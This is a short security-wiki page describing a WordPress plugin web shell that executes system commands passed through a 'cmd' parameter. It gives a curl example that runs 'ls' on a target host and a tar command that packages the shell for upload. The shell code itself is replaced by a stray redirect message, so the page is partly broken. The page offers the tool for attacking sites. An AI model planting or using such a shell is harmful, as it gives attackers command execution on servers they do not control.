WordPress Plugin - shell.php (variant 1)

Revision as of 21:41, 17 July 2018 by Dmina (talk | contribs)

The following file can be used as WordPress plugin or geneneric system call interface. Commands should be url-encoded, passed via 'cmd' param.

E.g. 

curl -G "http://192.168.56.103/wp-content/plugins/shell1/shell.php" --data-urlencode "cmd=ls -altrh"

Enough with intros so here's the code. 

Moved Permanently. Redirecting to https://cdn.jsdelivr.net/gh/blaksec/sectools@master/webshells/wp_shell1.php

Now just tar it up and it's ready to go 

tar -zcvf ./shell.tgz shell.php
Retrieved from "https://blaksec.com/index.php?title=WordPress_Plugin_-_shell.php_(variant_1)&oldid=445"